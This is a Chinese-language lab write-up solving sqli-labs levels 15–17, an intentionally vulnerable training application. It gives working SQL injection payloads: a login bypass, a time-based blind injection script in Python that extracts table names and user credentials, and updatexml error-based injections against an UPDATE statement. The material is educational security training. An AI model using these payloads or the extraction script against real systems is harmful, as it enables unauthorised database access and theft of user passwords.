1、less-15
1、这里其它的跟前面sqli-labs中的less-11~14是一样的(sqli-labs(less-9 ~ less-14)-CSDN博客),可以用万能密码登录,但是区别是此处没有回显和报错了,所以前面的union联合注入和报错注入就不行了;
所以我们可以采用时间盲注,关于时间盲注的具体细节可以看上面我的另一篇文章
2、我们首先得确定是何种闭合方式:
经过测试是单引号的闭合方式
username:admin'#
password:1
3、我们测试一下时间盲注:
username:admin' and if(1,sleep(5),0)#
password:1
发现页面开始出现延迟所以验证我们的猜想
4、给出脚本:
import requests
import time
import datetime
url = "http://127.0.0.1:8077/sql/Less-15/" #填入url
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
#str = "admin' and if((ascii(substr((select database()),{0},1))>{1}),sleep(2),1)#".format(i,mid)
#str = "admin' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}),sleep(2),1)#".format(i, mid)
#str = "admin' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{0},1))>{1}),sleep(2),1)#".format(i, mid)
str = "admin' and if((ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}),sleep(2),1)#".format(i, mid)
data = {
"uname": str,
"passwd": 1
}#post提交参数
print(str)
time1 = datetime.datetime.now()#获取请求前的时间
html = requests.post(url,data=data)#改用post提交
time2 = datetime.datetime.now()#获取请求后的时间
c = (time2-time1).seconds#两个时间相减得到页面延迟
if c >=2:#因为sleep(2)所以这就是我们比对的依据
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("result: ",result)
2、less-16
这里跟less-15是差不多的,但是换了闭合的方式
username:admin")#
password:1
所以可以套用上面的脚本,改一下闭合方式即可
3、less-17
1、解题
1、打开页面发现是要我们改密码,我们知道mysql修改数据用的是update:
update语句的格式一般为:
update <table_name> set column = where <条件>
所以这里为update注入,一般配合报错注入让其报出错误,所以我们就设法让其报错即可
本机实验一下:
2、在本环境中是修改密码,所以会有:
update users set password='xxxx'
输入
username:admin
password:admin'
得到报错,可以确定是单引号闭合方式
利用一下报错注入:
username:admin
password:1' and updatexml(1,concat(0x7e,(version())),0)#
成功得到
3、得数据库名:
username:admin
password:111' and updatexml(1,concat(0x7e,(database())),0)#
4、得表名:
username:admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)#
5、得字段名:
username:admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)#
6、得用户名和密码:
我们输入:
username:admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0)#
会出现:
这里是因为:不能再from的子句中出现指定更新的目标表
例如错误写法:
update users set password='1' where id in (select id from users where username='admin')
应该修改为:
update users set password='1' where id in (select id from (select id from users where username='admin')x)
其中生成了一个派生表:x其中包括一个字段id
所以最终的payload为:
username:admin
password:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from (select username,password from users)x)),0)#
2、源代码分析
我们经过测试可以发现第一个查询是没有注入点的,猜测是check_input()函数的作用:
所以这里即限制了长度又进行了转义,故此处不是注入点